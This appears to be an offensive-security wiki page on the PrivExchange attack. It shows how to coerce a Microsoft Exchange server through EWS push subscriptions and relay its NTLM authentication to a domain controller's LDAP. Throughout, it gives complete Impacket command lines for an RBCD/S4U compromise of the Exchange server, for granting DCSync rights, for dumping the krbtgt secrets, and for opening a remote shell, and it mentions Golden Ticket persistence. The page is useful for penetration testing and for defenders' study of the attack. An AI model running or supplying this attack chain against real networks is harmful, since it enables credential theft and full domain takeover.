PRIMARY CATEGORY → MITM & COERCED AUTHS

Theory

Push Subscriptions in an API on Exchange Web Services which allows a user account to subscribe to push notification

An operator could leverage this feature in order to force an authentication over HTTP to any HTTP server controlled by himself, being able to cross-relay this authentication to a DC’s LDAP Server

This NTLM Relay over HTTP to LDAP is achieved because of HTTP Windows clients do not enable the NTLMSSP_NEGOTIATE_SIGN flag, unlike SMB Clients

This is why it is not possible to cross-relay an authentication over SMB to an LDAP server. Windows SMB clients always enable that integrity flag and the DCs’ LDAP servers are set to ensure integrity session if the client supports and enables it

Zoom in

However, as mentioned, if an operator manages to coerce an Exchange Server, by leveraging the Push Subscription feature, and relays the received authentication over HTTP to the DC’s LDAP Server, he can either take over the entire domain by leveraging the Exchange Windows Permissions group DACL (WriteDACL) to grant DCSync rights to a controlled account by himself or compromise the Exchange Server itself by performing a RBCD attack


Abuse - UNIX-like

PrivExchange.py

PrivExchange

privexchange.py --domain '<DOMAIN>' --user '<USER>' --password '<PASSWD>' --attacker-host '<ATTACKER>' '<TARGET>'

Abuse Scenario - UNIX-like

Coercing an Exchange Web Server
PrivExchange

PrivExchange

First, we need a domain user account which has a mailbox associated

Then, we authenticate as this user account to the Exchange Web Service and leverage the Push Subscription feature to coerce the server and force it to authenticate to an HTTP server controlled by us

privexchange.py --domain '<DOMAIN>' --user '<USER>' --password '<PASSWD>' --attacker-host '<ATTACKER>' '<TARGET>'

Once we do this, we will receive an authentication over HTTP, that we can relay to somewhere in order to achieve any type of compromise

In this case, we can differentiate between two distinct types of abuse, one related to compromise the Exchange Server itself and the other intented to take over the entire domain

For the former, we can enable RBCD on the Exchange Server object and leverage a controlled computer account to carry out the attack. For the latter, we will grant DCSync rights to a controlled user account by abusing the inherent rights of the Windows Exchange Permissions group over the domain object

#1 - NTLM Relay over HTTP to LDAP (DC) + RBCD = Exchange Server Compromise

In first place, we have to set up an HTTP Server to handle the HTTP request and answer with an HTTP response containing a WWW-Authenticate header to force the authentication from the client

Once we receive that authentication over HTTP, we can cross-relay it to the DC LDAP server and authenticate as the Exchange Server computer account

Take into account that a computer account can modify its own ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity attribute. Therefore, after the successful LDAP bind as the computer account, an operator could add the SID of another computer account under his control as the value of this attribute

If we have not compromised a domain computer account yet, but we have valid credentials for a user account, we could leverage the ms-DS-MachineAccountQuota attribute in order to add a computer account to the domain, as this attribute allows any domain user account to add up to ten computer account to the domain

We can check the ms-DS-MachineAcountQuota domain attribute and add a computer account to the domain as follows

LDAPSearch

LDAPSearch

ldapsearch -LLL -x -H 'ldap://<DC>' -D '<USER>@<DOMAIN>' -w '<PASSWD>' -b 'DC=<DOMAIN>,DC=<TLD>' -s base ms-DS-MachineAccountQuota
Impacket’s Addcomputer.py

Addcomputer.py

addcomputer.py -dc-ip '<DC>' -computer-name '<COMPUTER>' -computer-pass '<PASSWD>' '<DOMAIN>/<USER>:<PASSWD>'

Then, we have to use a tool that allow us to relay the received authentication to the DC’s LDAP Server and populate the RBCD attribute with the SID of the controlled computer account

Impacket’s NTLMRelayx.py

NTLMRelayx.py

ntlmrelayx.py --no-smb-server --no-wcf-server --target 'ldap://<DC>' --delegate-access --escalate-user '<CONTROLLED_COMPUTER>' --no-da --no-dump --no-acl

Now, we can check if the ms-DS-AllowedToActOnBehalfOfOtherIdentity attribute of the Exchange Server is populated with some data such as the SID of the computer account under our control

Impacket’s RBCD.py

RBCD.py

rbcd.py -dc-ip '<DC>' -delegate-to '<TARGET>' '<DOMAIN>/<USER>:<PASSWD>'
LDAPSearch

LDAPSearch

ldapsearch -LLL -x -H 'ldap://<DC>' -D '<USER>@<DOMAIN>' -w '<PASSWD>' -b 'DC=<DOMAIN>,DC=<TLD>' '(samAccountName=<COMPUTER_ACCOUNT>)' msDS-AllowedToActOnBehalfOfOtherIdentity

Once the above is done, a Full S4U must be performed from the controlled computer account in order to achieve our goal

To do so, first, we have to carry out a ServiceForUserToSelf (S4U2Self) from the computer account to itself on behalf of a certain user

In this case, the user must be a privileged one, such as the Administrator user, in order to be able to access or dump sensitive data from the Exchange Server

When performing a S4U2Self, the kerberos client initializes a TGS Exchange with the Ticket Granting Service of the KDC. It authenticates as a service account, in this case the computer account we control, in order to request a Service Ticket for itself in behalf of any domain user account

After this, we must continue with a ServiceForUserToProxy (S4U2Proxy) from the computer account to the Exchange Server on behalf of the previous user

For this action, the kerberos client initializes another TGS Exchange to the KDC’s TGS. But, this time, to generate the TGS_REQ, it provides the controlled computer account Ticket Granting Ticket (TGT) as the main ticket and the S4U2Self service ticket as additional ticket

Then, the TGS verifies the authenticity of the client by decrypting the computer account TGT with a key derived from the KRBTGT account password and the authenticator. Moreover, it looks for the SID of the computer account in the Exchange Server ms-DS-AllowedToActOnBehalfOfOtherIdentity attribute

If everything is correct, it will generate the Service Ticket for the requested SPN, related to the Exchange Server, on behalf of the principal specified in the ClientName field of the additional ticket (i.e. S4U2Self Service Ticket)

Thus, before proceeding with all this, we should list the Service Principal Names (SPNs) registered for the Exchange Server computer account as we must specify a SPN during the process

LDAPSearch

LDAPSearch

ldapsearch -LLL -x -H 'ldap://<DC>' -D '<USER>@<DOMAIN>' -w '<PASSWD>' -b 'DC=<DOMAIN>,DC=<TLD>' '(samAccountName=<COMPUTER_ACCOUNT>)' servicePrincipalName | awk -v IGNORECASE=1 -F: '/servicePrincipalName/ { print $2 }'

Next, proceed with the Full S4U authenticating as the controlled computer account to request a Service Ticket on behalf of the domain Administrator user to the Exchange Server

Impacket’s getST.py

getST.py

getST.py -dc-ip '<DC>' -impersonate '<USER>' -spn '<TARGET_SPN>' '<DOMAIN>/<CONTROLLED_COMPUTER>:<PASSWD>'

We have now a Service Ticket issued for a domain privileged user to authenticate to the Exchange Web Server

According to the SPN requested during the S4U2Proxy, we can carry out a bunch of actions such as a DCSync or get a interactive shell via SMB or WinRM and so on

Let’s suppose that we requested a service Ticket for the CIFS/SMB server. If so, we could perform either a DCSync

Impacket’s Secretsdump.py

Secretsdump.py

export KRB5CCNAME=$( realpath <SERVICE_TICKET> )
secretsdump.py -k -no-pass -just-dc-user 'krbtgt' -target-ip '<TARGET>' '<DOMAIN>/<USER>@<TARGET>'

Or a remote connection via SMB to get an interactive shell

Impacket’s WMIExec.py

WMIExec.py

wmiexec.py -k -no-pass -target-ip '<TARGET>' '<DOMAIN>/<USER>@<TARGET>'

From there, we could grab the NT Hash or AES Keys of the KRBTGT built-in account to perform a Golden Ticket or start a pillaging process on the victim looking for leaked credentials or other sensitive information

In the other hand, we can directly aim to take over the entire domain by relaying the received authentication over HTTP to the DC’s LDAP Server in the same way, but abusing the Exchange Windows Permissions group rights over the domain to grant DCSync rights instead of leveraging RBCD

So, simply set up an HTTP Server in order to force the authentication from the client by using the WWW-Authenticate header within the HTTP Response. After that, the client will send another HTTP Request, but this time with the Authorization header set, containing a krb5blob wrapped in a GSSAPI structure

Once we receive the given authentication over HTTP, we will cross-relay it to the DC in order to grant DCSync rights to a domain user account under our control

Impacket’s NTLMRelayx.py

NTLMRelayx.py

ntlmrelayx.py --no-smb-server --no-wcf-server --target 'ldap://<DC>' --escalate-user '<CONTROLLED_USER>' --no-da --no-dump --no-acl

If everything has gone well, the controlled user should have the relevant DCSync rights, namely, DS-Replication-Get-Changes and DS-Replication-Get-Changes-All

Therefore, we could extract all sensitive information for user KRBTGT and then, carry out a Golden Ticket attack to ensure persistence across the domain

Impacket’s Secretsdump.py

Secretsdump.py

secretsdump.py -just-dc-user 'krbtgt' '<DOMAIN>/<USER>:<PASSWD>@<TARGET>'

References

Abusing Exchange: One API call away from Domain Admin